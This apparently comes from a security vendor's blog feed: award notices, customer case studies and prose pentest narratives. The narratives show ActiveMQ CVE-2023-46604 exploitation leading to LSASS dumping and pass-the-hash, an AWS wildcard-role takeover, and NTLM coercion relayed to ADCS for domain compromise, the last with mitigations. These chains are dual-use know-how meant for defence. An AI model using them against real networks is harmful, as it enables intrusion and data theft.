Amidst the hustle and bustle of holiday preparations and last-minute shopping, cybercriminals often take advantage of the increased online activity and spending complacency of individuals and businesses. Can you imagine the chaos if cybercriminals successfully targeted popular retail outlets, major airlines, or shipping companies? Those retail outlets could have issues processing sales and fulfilling their orders, airlines could cease operations, and shipping companies could miss delivering gifts in time for the holidays. Invariably, such an attack would leave customers stranded and angry, and those affected companies would be left with no other option than to give in to the ransom demands of cyber criminals to bring their systems back online. With so much riding on the holiday season, it is crucial that we ensure the security of our digital assets and safeguard our organizations against potential cyber threats. 

You may be wondering how likely it is that we’ll see a major cyber incident affecting considerable portions of the general public this December. The answer: very likely. Consider the fact that we have seen a major cyber-related incident each December for the last three years. Recalling the events from last December (2022), notable cybersecurity incidents affected Uber, Okta, and LastPass:

• Uber: The rideshare company experienced a high-profile data leak during which sensitive employee and company data were exposed. Attackers compromised an AWS cloud server used by a third-party vendor that provides asset management and tracking services.
• Okta: The identity and access management company faced a cybersecurity incident where a hacker accessed its source code following a breach of its GitHub repositories. Once Okta identified the issue, they placed temporary access restrictions on the repositories and suspended all GitHub integrations with third-party applications. Fortunately, no customer data was impacted by this breach. 
• LastPass: The password and identity management company encountered two distinct cybersecurity incidents. The first involved a threat actor targeting a software engineer’s company laptop, providing unauthorized access to a cloud-based development environment. The access allowed the cyber threat actor to steal source code, technical information, and internal system secrets. The second incident featured a cyber threat actor targeting a senior DevOps engineer by exploiting vulnerable third-party software. The accessed data included system configuration data, API secrets, third-party integration secrets, and encrypted and unencrypted LastPass customer data. 

In 2021, the discovery of the Log4Shell vulnerability that December sent shockwaves through the digital landscape. The widespread and critical vulnerability in the Apache Log4j library exposed countless systems to potential exploitation. The exploit, officially known as CVE-2021-44228 or log4shell, allowed attackers to execute arbitrary code remotely, posing a severe threat to the security of various software applications and systems globally. 

Another notable cyber attack was when the software company SolarWinds was hacked in 2020. That attack led to one of the biggest breaches of the 21st century, underscoring the sophisticated nature of modern cyber threats. The supply chain attack targeted the SolarWinds Orion platform, compromising software updates distributed to thousands of organizations. The cyber threat attackers infiltrated numerous government agencies and private companies.   

While it is nearly impossible to predict exactly what cyber threat actors will do this holiday season, we know that maintaining vigilance is crucial for ensuring the security of your systems and networks. Cyber vigilance is also paramount to safeguarding your personal and financial information, as increased online activities and festive shopping create opportunities for cyber threats and scams. Adopting an autonomous approach to proactively finding, fixing, and verifying your exploitable vulnerabilities should be the first line of defense in safeguarding your organization from cyber threats. It can also save your security team valuable time. By incorporating a continuous penetration testing cadence, you will get prompt results to fix what matters most while ensuring timely mitigations and verifications, providing you and your organization with the much-needed time to kick back and enjoy the holidays!

The post Insight – Holiday Threat Awareness 2023 appeared first on Horizon3.ai.

CISA Known Exploited Vulnerability Enables Initial Access and Lateral Movement Leading to Domain Compromise

Here is a real-world example of NodeZero exploiting a recently disclosed, pervasive vulnerability in an internal pentest to fully compromise a client environment.

Background

Apache ActiveMQ is a Java-based message broker used as a part of many software products. It is backend infrastructure that facilitates communication between different software components operating in a distributed architecture, similar to Redis and RabbitMQ.

At the end of October 2023, a critical vulnerability, CVE-2023-46604, affecting ActiveMQ was disclosed. This vulnerability enables unauthenticated attackers to compromise the host running ActiveMQ by sending a crafted network request to the broker’s Openwire port (default port 61616). Similar to Log4Shell, the exploit induces the vulnerable ActiveMQ instance to connect back to an attacker-controlled server to download a malicious payload. The vulnerable ActiveMQ instance unmarshalls the payload, resulting in the execution of arbitrary operating system commands contained in the payload, leading to host compromise.

The vulnerability was immediately exploited in the wild by threat actors, landing it on CISA’s known exploited vulnerabilities (KEV) catalog. As of this writing, according to Shodan there are thousands of ActiveMQ instances exposing the Openwire port to the Internet, with the majority of these instances in China.

While dangerous externally, the vulnerability is an order of magnitude more dangerous and prevalent in internal networks. ActiveMQ is installed as part of many software products, including Atlassian Bamboo, Commvault, Powerschool SIS, and Solarwinds WebHelpDesk.etc. This is the type of vulnerability that will linger in internal networks, and be fodder for pentesters and attackers alike for years to come.

A Real World Example

Within days of public disclosure, an exploit for CVE-2023-46604 was added to NodeZero. Here’s an actual production internal pentest in which NodeZero exploited this vulnerability to ultimately compromise the domain administrator account.

• First NodeZero identified the Apache ActiveMQ broker service running on the default port 61616 on a host in the network.
• NodeZero checked for CVE-2023-46604 and then exploited it to install a Remote Access Tool (RAT) on the vulnerable host.

• Through the RAT, NodeZero dumped credentials from LSASS. One of these credentials was the NTLM hash for a domain user. NodeZero “passed the hash” to login as domain user on the network.

• Next, NodeZero identified that the compromised domain user was also a local admin on another host in the network. Using the administrative privileges of this domain user, NodeZero installed a second Remote Access Tool on this second host.
• NodeZero once again dumped LSASS through this RAT. This time NodeZero acquired the NTLM hash for a domain administrator, which it used to log in to the domain.

Takeaways

It took NodeZero about 1 hour and 15 minutes to execute the attack path leading to domain compromise. This attack was performed autonomously with no human assistance or prior scripting. Along the way, NodeZero identified and raised the following weaknesses:

• CVE-2023-46604: Apache ActiveMQ Openwire Transport Remote Code Execution Vulnerability
• H3-2021-0044: Credential Dumping – Local Security Authority Subsystem Service (LSASS) Memory
• H3-2022-0086: Domain User with Local Administrator Privileges

While CVE-2023-46604 provided NodeZero initial access to a host in the network, the subsequent weaknesses – lack of security controls preventing LSASS dumping and a over-privileged domain user – enabled NodeZero to move laterally in the network and compromise the domain. NodeZero can help you stay on top of emerging weaknesses, and it can help you harden your security controls and credential policies to prevent widespread compromise.

The post Apache ActiveMQ RCE Leads to Domain Compromise appeared first on Horizon3.ai.

We were also finalist in these categories but were not the winner:

XCellence in Midmarket Solution: Software = Finalist
XCellence in Midmarket Solution: Services= Finalist
XCellence in Solutions Track Presentation= Finalist
XCellence in Solutions Pavilion Strategy = Finalist
Best In Show = Finalist

The post XCellence in Boardroom Presentation Event = Overall Winner appeared first on Horizon3.ai.

2023 CRN Stellar-Startup

The post 2023 CRN Stellar-Startup appeared first on Horizon3.ai.

Misconfigured AWS Role Leads to Cloud Initial Access and Data Compromise

There are two common ways that attackers get initial access to cloud environments: 1) finding cloud credentials lying around in data, for instance on a previously compromised end-user’s machine, or 2) exploiting a critical vulnerability in an exposed cloud-hosted application.

But there are other less common methods that work too. In this real-world external pentest, NodeZero anonymously exploited a critical AWS IAM policy misconfiguration to get initial access to a client’s AWS environment. From there it obtained read/write access to sensitive data stored in the client’s S3 buckets.

Background on AWS Cross-Account Permissions

In AWS, a role is used to define specific privileges to resources within an account. AWS IAM lets users configure the trusted entities that are permitted to “assume” the privileges of this role. These trusted entities can be users in other AWS accounts. For instance, to grant users in AWS account 999999999999 the privileges assigned to a role in AWS account 111111111111, one would configure a trust policy for that role that looks like this:

Granting cross-account access to roles is a common practice, especially for organizations managing many AWS accounts or using third-party services. Where this configuration becomes dangerous is when users open up cross-account access to all AWS accounts. The following configuration that uses a wildcard * in place of a specific account ID grants any user in any AWS account the privileges of the role.

All that’s required for someone to “assume” this role is knowledge of the role name and the AWS account ID that the role is part of. AWS clearly warns users about this dangerous configuration, but it’s still possible to set it.

There are open source attacker toolkits such as pacu that can be used to manually discover and exploit this misconfiguration. This exploit process is fully automated by NodeZero and described below.

A Real World Example

In this example, a client conducted an external pentest using NodeZero. NodeZero ran from Horizon3.ai’s cloud environment and was not provided any credentials. The client did provide NodeZero with a list of AWS account IDs that it owns.

1. NodeZero used the provided AWS account IDs to anonymously enumerate AWS role names belonging to these accounts. NodeZero did this by brute force, using a large wordlist of common role names, using a technique described in this good writeup from Rhino Security Labs.
2. NodeZero discovered a valid, common role name in one of the AWS accounts.
3. NodeZero attempted to “assume” the role, using an AWS user configured in one of Horizon3’s own AWS accounts.
4. NodeZero was able to assume the role and acquired AWS access keys with the privileges of the assumed role. NodeZero raised a weakness: H3-2021-0019: AWS Unrestricted Assume Role Access.
5. NodeZero tested what the AWS access key could access. NodeZero found that it had full read/write/delete privileges to a number of S3 buckets.
6. NodeZero found tens of thousands of files in these S3 buckets, some of them containing sensitive client confidential business data.

The full attack path is shown below:

Takeaways

It took NodeZero about 1 hour and 35 minutes to execute this attack path leading to data compromise, starting with no privileges in the form of credentials or network access. This attack was performed autonomously with no human assistance or prior scripting.

This example highlights the crucial importance of defining access control policies with the principle of least privilege in mind. This is especially important in cloud environments where credential abuse is a much bigger problem than exploitation of the cloud services themselves. Using NodeZero can provide you the attacker’s perspective to identify these kinds of issues and many more.

The post AWS Misconfiguration Leads to Buckets of Data appeared first on Horizon3.ai.

Business Wire 12/18/2023

Horizon3.ai, a leading provider of autonomous security solutions, today announced that it has been named to the Fortune Cyber 60 2023 list. The Fortune Cyber 60 is a new listing of the most important venture-backed startups that offer enterprise-grade cybersecurity solutions.

Read the entire article here

The post Horizon3.ai Recognized as a Fastest-Growing Cybersecurity Company on the Fortune Cyber 60 List appeared first on Horizon3.ai.

2023 Security Today CyberSecured Awards

The post 2023 Security Today CyberSecured Awards appeared first on Horizon3.ai.

Business Wire 12/21/2023

Horizon3.ai, a leading provider of autonomous security solutions, celebrated 2023, a break-out year in which the company was honored with numerous recognitions and prestigious honors…

Read the entire article here

The post Horizon3.ai Closes Out 2023 With Numerous Honors and Accolades appeared first on Horizon3.ai.

How an MSSP Turned NodeZero into a High-Demand Service Offering

Canada’s leading managed security service provider, F12.net delivers reliable and efficient technology solutions to a range of small and medium sized enterprises across Canada. F12’s approach is based on referenceable architectures, elite certifications, and best-inclass cybersecurity. One of the many services that F12 offers is penetration testing. This ethical hacking service helps organizations verify their security approaches, gain valuable cyber risk insight, and demonstrate their security due diligence.

About F12.net

Year Founded: 1992
Number of Acquisitions: 14
Number of Locations: 11
Geography Served: BC, AB, ONT
Number of Companies Who Have Joined the F12 Family: 14
Number of Employees: 280
Certifications: SOC 2 Type 2 Certified
Ratings: 97% Customer Satisfaction Rating and Award-Winning Support

Underwhelmed with red team exercises

As a large MSSP, F12 regularly undertakes red team exercises to assess its own defenses, and in the past, appointed third-party penetration testers to do the work. Calvin Engen, Chief Technology Officer (CTO) at F12 shares: “Every couple of years we would change who we used for our own penetration tests to experience a different skillset. And so, as those years went on, I just felt that we were not getting a very good work product at the end of the day.”

Calvin observed that there were frequent gaps in the reporting, which was often too technical for a business audience, and the cost of the red team exercise was proportionate to the amount of time the pentester spent focusing on a particular device or devices in the network. As their network is quite large, if they were to evaluate everything in their environment, it simply wouldn’t be economically viable.

Wanted visibility across the entire environment

This manual way of validating the environment did uncover issues for F12 to address, but assessment results weren’t always being delivered in a timely fashion and therefore, it was difficult for Calvin and his team to quickly identify issues such as configuration drift in their environment. The team needed to know when a device hadn’t been set up to the correct standards they have, and they wanted to know if their managed detection and response software was working correctly.

These challenges made F12 realize that there must be a better way. Calvin wanted to regularly assess the entire environment rather than pick and choose the ‘golden endpoint’. He wanted to have complete visibility to understand where the risks were so he could measure and determine any gaps.

At the same time, F12 was referring professional services organizations to undertake pentests for its clients. Calvin was now questioning the efficacy of these projects himself and realized he couldn’t continue to recommend this somewhat ineffective approach.

Discovered a critical vulnerability others missed

Through a survey Calvin participated in, he came across Horizon3.ai for the first time. So, he looked them up and immediately thought, “autonomous penetration testing seems like an interesting concept,” and wanted to learn more about NodeZero. He reached out to Horizon3.ai and requested a demo and proof of value.

Calvin continues: “We had just completed our own penetration test and I was super underwhelmed. Our scoring was low and there was nothing critical to report. Then we kicked off NodeZero, did a scan of our environment, and within a few hours we found a system that was not fully configured. As a result, NodeZero was able to compromise it, then move laterally through the environment, and ended up compromising our whole domain.”

Calvin shared that he was quite surprised that NodeZero was able gain domain admin, but sure enough, when they went through and reviewed the results with their internal team, the results were confirmed.

Zero wait time – immediate rescans

F12 quickly fixed the issue, since it was clear what the vulnerability was and how it had happened. NodeZero helped to make short work of knowing where to go to fix the problem. Immediately afterward, F12 was able to rescan and validate that the fix had worked without having to wait for a penetration tester to confirm the issue was resolved. Calvin adds:

“We then rescanned the entire network and we found more issues; a new machine on the network that wasn’t quite ready to go into production and had a vulnerability. We immediately picked this up. Our environment is changing all the time, as we bring new systems online, so to get this level of visibility is fantastic.”

As a result of the experience, F12 recognized that NodeZero was a red team force multiplier, delivering a better way to execute pentests, not only for their own infrastructure, but for their clients as well. Using NodeZero, F12 could upskill its talent, build out their pentesting team, and using data from NodeZero scans, they could surely make their own customers more secure.

Developed a new service offering

F12 made the decision to use NodeZero and offer penetration testing-as-a-service (PTaaS) to their customers. Calvin adds: “When you have a finite amount of time, you focus on the obvious areas that could be compromised, but malicious actors don’t have time limits; they can move slowly and methodically through your environment. This is what we wanted to be able to do for ourselves and our clients, rather than restrict this exercise based upon time and available budget. You simply cannot outpace what NodeZero does.”

With the help of NodeZero, F12 launched a new service to their customers late last year and is now seeing a wave of requests for pentesting. Their clients often need penetration tests to meet a compliance requirement, for cybersecurity liability insurance purposes, or because clients desire to have an assessment performed. The benefit of using NodeZero is that it is not ‘one and done’ effort that just focuses on a part of the network. Instead, NodeZero can be used to evaluate every single asset across a network at a moment’s notice. F12 now has far more visibility than it ever had before, enabling their team to quickly remediate the most exploitable vulnerabilities for both them and their customers.

Now, Calvin is a strong advocate for continuous penetration testing delivered as a service rather than undertaking it as a point-in-time exercise. As a result, F12 has made red team exercises part of its own regular routine with weekly pentests, and they can now respond at a much faster pace if issues are discovered. Calvin adds: “I would rather have NodeZero breaching us than some nefarious actor. We are doing more than most to make sure we are keeping our ourselves and clients secure, helping bolster everyone’s defenses as a result.”

Democratizing red team exercises

Calvin acknowledges the market is beginning to realize that continuous assessments using an autonomous penetration testing platform makes a great deal of sense. He says that most clients know they have security issues, but they don’t have the time, prioritization, and/or budget to regularly undertake red team exercises adding: “Even if the market moves to penetration testing-as-a-service, companies must have a solid foundation in place, because if you don’t have basic cyber hygiene, a penetration test won’t help. Organizations must have a well-disciplined methodology to manage vulnerabilities.”

He recognizes that many businesses are on a journey and his advice is to undertake a gap analysis first to determine where best to spend money. That said, he believes penetration testing will become a pre-requisite in the future. Even today, cyber assurance underwriters require certain capabilities to measure risk, as do many third-party vendor contracts. Likewise, legislation such as DORA, NIST 2, and Bill C 26 in Canada, advocate that organizations have the appropriate critical cyber systems in place and regularly assess their cyber and operational resiliency.

“There is a 95% improvement in the cost to value when using NodeZero to assess each device vs. having a human perform something similar. Of course, that would compound exponentially with more IPs in the environment.”

– Calvin Engen, CTO at F12.net

The outcome: Far more visibility than ever before

Calvin goes on to describe what he thinks about the benefits that NodeZero brings, and he agrees that pentesting is not a one-and-done exercise. “Compared to traditional pentesting, organizations do a vulnerability scan of their network, they have a report, and maybe one or two assets in that environment were thoroughly assessed. In comparison, NodeZero can do all of that in a matter of days, or even hours, across every single asset in an organization. The value that you get by doing this activity, and by leveraging NodeZero, is achieving far more visibility into your environment than you ever had before. And through that visibility, you can really break down the items that are most exploitable and solve for those. I also would say that it’s far more economical to do it with NodeZero than it is to use only people.”

What the future holds

Calvin concludes: “Some organizations are complacent and don’t believe they have anything worth stealing, but attacks are about disrupting the business, so you are in enough pain that you pay up. If you rely on your IT systems to conduct business, then the reality is that you must protect your infrastructure. Organizations must layer in defense-in-depth and understand where they are the weakest. In the future, pentesting will become democratized and more economical as autonomous pentesting becomes ubiquitous within every organization. I am not sure how long that will take, but what I can say is this is the way to do it.”

Download PDF

The post Revolutionizing Cybersecurity: F12.net’s Journey with Autonomous Penetration Testing appeared first on Horizon3.ai.

How Airiam Cut Vulnerabilities in Half

Airiam is a pioneering managed resilience provider on a mission to ensure its customers minimize cyber risk and maximize business productivity. Airiam works on the frontlines of cyberattacks to inform their solutions while ensuring customers are hardened against cyberattacks and have the built in resilience to bounce back after an incident. Additionally, they aim to build a best-in-class resilience operations center (ROC), empowering their clients with the tools to face any cyber incident and the confidence to “stand back up from any cyberattack.”
As Art Ocain, Airiam’s CISO & Strategic Alliances and Incident Response Product Management Lead, puts it:

“Resilience has become our story and our superpower.”

About Airiam.com

Year Founded: 2021
(but formed out of MSPs and MSSPs that are 20-year-old companies)
Geography Served: Anywhere in the US remotely; Airiam also has offices in Central PA; Rockville, MD; Salisbury, MD; Milwaukee, WI
Number of Employees: 140
Airiam’s incident response team has been on the front lines with consistent ransomware incidents in the last 5 years. With over 75,000 hours on high-profile incidents, this makes them one of the most experienced MSPs/MSSPs in the incident response space. Incident response has shaped how Airiam approaches IT managed services and how they design their service offerings with a tilt toward cyber resilience and business continuity.

Facing a Pentesting Skills Shortage

Pentesting is central to assessing a client’s resilience to cyberattacks and was part of Airiam’s core managed service offering. However, the company often found itself in a battle for talent, struggling to retain pentesting skills in-house. Art explains: “We would hire a pentester and they would leave, then we would hire another pentester, and they would leave…often, we would be asked for pentesting services, but we wouldn’t have someone immediately available in our team, so we would have to outsource or recruit.”

Airiam also needed pentesters to test their own environment, but that lack of skilled resources made it hard to maintain a consistent approach.

When it came to client vulnerability management, Art found that most of the available tools were basic and time-consuming. They were simply scanning the client environment, comparing results with a vulnerability list, and flagging the discrepancies. This lacked the detail and nuance needed to convince clients to act on the results quickly and did not empower them to fix “prioritized” issues first.
Art shares:

“It became our problem to prioritize the results and then figure out what to do to remediate…we would put a remediation plan together and take it to the client… but the real obstacle was convincing the client that it was actually worth investing to solve the problem.”

Often, vulnerability scanners are not enough to help keep a company resilient against cyber threat actor attempts to target their environment. Organizations need to shift their “scan and patch” mindset and look for security solutions that “Find, Fix, and Verify” remediations/mitigations immediately and continuously.

Missing out on Sales Opportunities

The pentester shortage was having a commercial impact on Airiam,
causing them to turn away potential business or outsource to another provider. Even with a pentester on staff, that person faced a backlog of hundreds of clients and could not keep up with the growing demand for continuous pentesting.

Demand for pentesting continued to grow, with customers seeking to satisfy compliance requirements, meet cyber insurance stipulations, and provide assurance to their clients. With clear evidence of customer demand, Airiam was missing a major opportunity.

“I felt that pentesting wasn’t something that was really in our wheelhouse…clients were asking for it…but we were leaving money on the table…I also didn’t have the bandwidth to build a comprehensive pentesting practice by hiring several pentesters as well as getting the tooling process and reporting in place,” explains Art.

Enter NodeZero^TM

Keeping an eye open for solutions, Art came across an automated pentesting tool which he implemented as a stopgap and help bolster their “pentesting” capabilities. However, he felt that the tool sill wasn’t meeting expectations of continuous pentesting, and limitations were holding them back from selling this service as a formidable ally against cyberattacks. So, when one of Airiam’s board directors mentioned NodeZero from Horizon3.ai, he booked a demo.

“Thoughtful” pentesting is a game-changer

The first NodeZero demo was game-changing according to Art.

“It looked amazing…it blew everything out of the water in comparison to other products.”

Art was particularly impressed with the work that Horizon3.ai’s attack team does to ensure the product is always at the cutting edge of the threat environment. He said that “the idea of the attack team keeping everything completely up to date when there’s a new vulnerability [CVE] release while also doing their own POC and building it into the system” is a game-changer. “You’re not going to see other products turning a vulnerability into an exploit in less than a month…that blew me away.”

Art went on to describe why the “thoughtful” nature of NodeZero is another key benefit: “NodeZero undertakes a real attack instead of just a ‘hail Mary’ of throwing everything in the world against the machine; it is very thoughtful.” NodeZero empowers customers to make thoughtful decisions through its Find-Fix-Verify loop and continuous pentesting ability.

Art was also thoroughly impressed with NodeZero’s vulnerability prioritization features, explaining that “sometimes you get a lot of vulnerabilities listed that aren’t actually exploitable in your network…NodeZero re-orders things based on relevancy and how the attack is carried out.” NodeZero’s detailed attacks paths allow customers to walk through how an attack could be carried out through the “Eyes of an Attacker”, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment.

Initially, Art ran NodeZero against Airiam’s own datacenter, which hosts several of their clients, and compared the results to the previously tested automated solution. He found that NodeZero’s results were more specific and relevant to his environment: “NodeZero was a lot more thoughtful, and its fix actions are incredible.”
NodeZero’s clean and concise reporting also proved a hit with Art and his team, as it requires minimal work to make reports client ready.

Airiam and NodeZero: Pentesting as a Route to Client Revenue

Since implementing NodeZero, Airiam has deployed it in various ways to deliver great customer experiences and drive adjacent projects. These include:

Complimentary client scanning and project identification: Airiam undertakes a complimentary NodeZero scan that delivers a comprehensive, prioritized vulnerability report. Airiam’s exceptional professional services team devises a remediation plan, with the NodeZero report providing the evidence to convince customers that investment is needed. In this way, Airiam is developing new revenue streams and stronger customer relationships.

Providing peace of mind for clients: Airiam provides scans that help customers meet external compliance requirements, assure partners, and satisfy internal audit and compliance teams that the business is resilient to attacks.

Bundled into MDR Services: Airiam includes NodeZero in its AirGuard™ Plus flagship managed detection and response service, and it is a core feature of the company’s AirAudit™ pentesting-as-a-service (PTaaS) solution. This solution is for clients who are not already managed by Airiam. It’s comprised of a NodeZero pentest and custom-built remediation plan and often proves to be the catalyst that leads to further business opportunities.

A 50% reduction in outstanding vulnerabilities

Since deploying NodeZero in its own managed client environment, Airiam has achieved a 50% reduction in outstanding vulnerabilities across their managed customer base. Some of the lower-level vulnerabilities that remain are due to legacy networks or applications, meaning that clients are unable to easily address them. However, in this case, NodeZero enables Airiam to show the client that it has identified the low-level vulnerabilities and suggest defenses such as segmentation so a known vulnerability cannot be exploited.
Art also highlights how the recursive nature of NodeZero means it’s an excellent counterpart to human pentesters, explaining that “humans will see a vulnerability, focus on how they can exploit it, and how that exploit can be stopped, but they won’t look at other routes to exploiting it…NodeZero will keep trying alternative routes to the target.”

He also sees Horizon3.ai’s attack team as a real differentiator. He pointed out that “seeing relevant content where they are working on new initiatives is the superpower to me…it’s not just a robot…you have humans writing exploits and that’s where it’s real.”

“Think of NodeZero as a Resiliency Test for your Organization”

NodeZero in and of itself is a gamechanger for any organization looking for a continuous pentesting solution that enables a proactive and preemptive approach while building resilience against cyber threats. Partnered with other Managed IT solutions such as Airiam, NodeZero becomes an unstopped force.
Art recommends a bold approach for companies evaluating NodeZero:

“Start using it…don’t just run it in some demo network…use it in production on critical systems… use it on client systems…the more you use it, the more you love it.” He goes on to advise anyone doing a trial to, “roll it out widely…thinking of it as a resiliency test for your organization…and if you don’t like it, you can get rid of it…but I’m pretty sure you’ll like it!”

Download PDF

The post Airiam: Turning Cyber Resilience into a Superpower appeared first on Horizon3.ai.

Business Wire 01/08/2024

Horizon3.ai, a leading provider of autonomous security solutions, today announced that Torie Runzel has joined as Vice President of People, effective immediately…

Read the entire article here

The post Horizon3.ai Appoints Torie Runzel as Vice President of People appeared first on Horizon3.ai.

Since introducing NTLM coercion techniques such as PetitPotam into the NodeZero platform, we frequently have security practitioners request help understanding these techniques and what impact they have to their enterprise. There is a lack of concise resources to inform Blue Teams on how these techniques work, and clearly distinguishing them from other misconfigurations/vulnerabilities in the attack chain – particularly the NTLM Relay vulnerable  Active Directory Certificate Services (ADCS) HTTP web endpoints. 

The level of risk NTLM coercion opportunities provide in a network depends on the environment and mitigation of said risk can be done at several points in the attack chain – keep patched, prevent attackers from obtaining user credentials, and minimize the relay attack surface. 

Back to Basics – NTLM Relay Attacks

NTLM Relay Attack with Coercion and ADCS ESC8

The primary use case for PetitPotam and other NTLM coercion techniques is to source authentication material for an NTLM relay attack. NTLM relaying is a popular and useful man-in-the-middle tactic that takes advantage of the 20-year-old NTLMv1/2 challenge-response authentication protocol. An attacker, via “some mechanism”, is able to intercept authentication requests from a client and forward them to a vulnerable service configured to use NTLMv1/2 for authentication. The end result: the vulnerable service authenticates the attacker, believing they are the original client. 

Historically, passive protocol poisoning techniques were the primary method for attackers to initiate an NTLM relay attack. These techniques rely on an enterprise using vulnerable broadcast protocols, such as LLMNR or mDNS, to reroute connection requests to a relay server. With the introduction of NTLM coercion attacks, researchers discovered a whole new world for getting a source client to initiate an authentication session with a relay server. 

NTLM Coercion – Sourcing Privileged Machine Credentials for NTLM Relay Attacks

The beginning of the NTLM coercion hype started in 2018 when researcher Lee Christensen (@tifkin_) and others at SpectreOps reported an MS-RPRN abuse to Microsoft. The issue, to become widely known as “PrinterBug” in the community, was an authenticated method (i.e., an attacker needs to already have domain credentials) for getting a server running the Print Spooler service to initiate an NTLMv2 authentication session (using its Machine Account credentials) with a server of the attackers choosing. Microsoft considered this issue to be “by design”, and essentially a feature of the protocol. 

In 2021, researcher Giles Lionel (@topotam) made an elephant sized splash by releasing his PetitPotam tool – utilizing a similar vulnerability in MS-EFSRPC. The difference? In addition to finding several authenticated methods in MS-EFSRPC for coercion, Giles discovered two methods (CVE-2021-36943 AND CVE-2022-26925) for unauthenticated coercion. This meant an attacker without any credentials could force a vulnerable server to connect to the relay server. To make matters worse, Domain Controllers were vulnerable to the unauthenticated attack by default. 

Researchers inspired by the work of Christensen and Lionel continued to dig into additional RPC protocols and discover additional authenticated coercion opportunities but none have come close to the impact of unauthenticated PetitPotam. 

Brace For Impact – The NTLM Relay Attack Surface

Once the targeted machine (likely a Domain Controller) connects to the attacker’s malicious server, the attacker can now relay the authentication session to a vulnerable service — allowing the attacker to masquerade as the machine to said service. Possible vulnerable services include:

• Active Directory Certificate Services (ADCS) Web Endpoint.
  • The attacker can request a PKI certificate for the DC, and utilize it to perform a DCSync or RBCD attack. 
• LDAP with Signing Disabled
  • Can be utilized to perform an RBCD attack.
• Domain Joined machines with Kerberos Unconstrained Delegation (KUD)
  • Attackers could either dump LSASS on the machine with KUD or modify DNS records in order to perform a “kerberos relay” attack
• SMB with Signing Disabled
  • NOT typically useful in an NTLM coercion attack – as machine accounts rarely have access to valuable SMB file shares.
• Other business services that accept NTLMv1/2 authentication – such as Outlook EWS.

ADCS – Why Everyone is Focused On It

When PetitPotam first hit the scene in 2021, most of the mitigations published were focused on killing the relay opportunity to ADCS – not on blocking the coercion technique itself. Although this created some confusion in the community (when a researcher says “PetitPotam” are they talking about just the coercion technique or the entire attack path to Domain Compromise via ADCS?), it was for a good reason. 

In 2021, Will Schroder (@harmj0y) and Lee Christensen of SpectreOps published their white paper on various privilege escalations using Active Directory Certificate Services (ADCS) – Microsoft’s Active Directory integrated PKI solution. One of the key findings, known as ESC8, was the various HTTP enrollment endpoints that administrators could enable for ADCS were susceptible to NTLM relay attacks. If an attacker could relay a Domain Administrator or Domain Controllers session to one of these endpoints, they could potentially obtain a PKI certificate for the User/Machine. Attackers could then utilize these certificates to log in and compromise the domain. PKI certificates are highly valuable credentials – as they are very persistent, providing access even if a compromised user reset their domain password. 

The combination of PetitPotam’s unauthenticated coercion attack with an ESC8 vulnerable ADCS server meant an attacker could easily obtain a PKI certificate for a Domain Controller – enabling them to fully compromise the domain by performing a DCSync or RBCD attack. 

Real World Example

The above NodeZero attack graph is a great real-world example of the impact NTLM Coercion and ADCS ESC8 can have on an enterprise. 

1. NodeZero discovers a host is vulnerable to mDNS poisoning, a passive credential sourcing technique for an NTLM relay attack. NodeZero is able to poison said host, resulting in it starting an authentication session to its relay server with an unprivileged domain user credential. 
2. NodeZero is able to relay the user credential to ADCS and obtain a certificate for the user. NodeZero is then able to calculate the user’s NTLM hash from the certificate and utilize it to run an authenticated PetitPotam attack against the Domain Controller (DC). 
3. The DC connects to NodeZero’s relay server – which once again relays to ADCS to now obtain a certificate for the DC.
4. NodeZero utilizes the PKI certificate for the DC to login and perform a DCSync attack – resulting in the discovery of a Domain Administrator’s credential.
5. Domain Compromised.

Killing the Attack Chain

The severity of risk NTLM coercion techniques provide in an enterprise network depends on several key factors:

1. Can an attacker obtain credentials? 
2. If not – are you patched against known unauthenticated attack methods?
3. What services could an attacker perform a relay too? What value do they provide?

The questions above highlight several points where an attacker’s use of NTLM Coercion techniques can be minimized and mitigated in the attack chain. Here are a few recommendations:

1. Patch! Keeping your high value servers up to date will ensure they remain safe against newly discovered unauthenticated attacks such as  CVE-2021-36942 and CVE-2022-26925.
2. Manage/minimize credential attack surface. All other coercion techniques require a domain user credential. 
   1. This is easier said than done. H3 has highlighted just how typical it is for an attacker to obtain credentials, making this type of attack very difficult to defend against.
3. Minimize the relay attack surface. 
   1. Disabling ADCS’s vulnerable web endpoints
   2. Enable SMB Signing (Low Risk)
   3. Enable LDAP Signing
   4. Audit Machines with Kerberos Unconstrained Delegation
   5. Disable vulnerable services:
      1. PrinterBug – disable Print Spooler service if not required
      2. ShadowCoerce – disable File Server VSS Agent Service if not required.
   6. Filter vulnerable RPC protocols
   7. Disable NTLM authentication on vulnerable services or enable Extended Protection for Authentication (EPA).
   8. Some EDR solutions, such as Microsoft 365 Defender, provide identity security solutions that will block/identify coercion attacks. 

Direct Mitigations

To mitigate unauthenticated NTLM coercion techniques, administrators should patch their vulnerable instances ASAP. 

Some authenticated techniques can easily be disabled if not being utilized by the enterprise:

• MS-FSRVP (ShadowCoerce) – disable “File Server VSS Agent Service” on host
• MS-RPRN (PrinterBug) – disable the Print Spooler service on host

 Others may require an RPC filter to block access to individual protocols if their use is not required. H3 has provided the RPC filters for the following:

• H3-2022-0073 – MS- EFSRPC (PetitPotam)
• H3-2023-0013 – MS-FSRVP (ShadowCoerce)
• H3-2023-0014 – MS-DFSNM (DFSCoerce)
• H3-2023-0015 – MS-EVEN (CheeseOunce)
• H3-2023-0016 – MS-RPRN (PrinterBug)

Key Takeaways

• NTLM coercion techniques (such as those utilized by the PetitPotam tool) focus on getting a high value source machine (e.g. a Domain Controller) to authenticate to an attacker-controlled relay server. 
• The relay server can relay the authentication material to a myriad of vulnerable target services – providing the attacker access to said target service. Vulnerable Services include:
  • ADCS Web Endpoint (ADCS ESC8)
  • LDAP services with signing disabled
  • Machines with Kerberos Unconstrained Delegation
  • SMB services with signing disabled.
• PetitPotam != ADCS ESC8
  • Defenders need to mitigate all possible paths that an attacker may utilize to gain additional access in a network if RPC filters are not feasible.
  • SMB Signing Disabled is typically of LOW value for coerced credentials.

In our real-world example, NodeZero was able to compromise the domain in an hour and five minutes using a combination of Man-in-the-Middle techniques, to include using NTLM coercion to relay a Domain Controller’s credentials to an ADCS server. This example highlights the highest level of impact NTLM coercion can have in an environment, but it is only one of several different ways attackers can utilize the technique to gain their objectives.

The post The Elephant In the Room – NTLM Coercion and Understanding Its Impact appeared first on Horizon3.ai.

Introduction

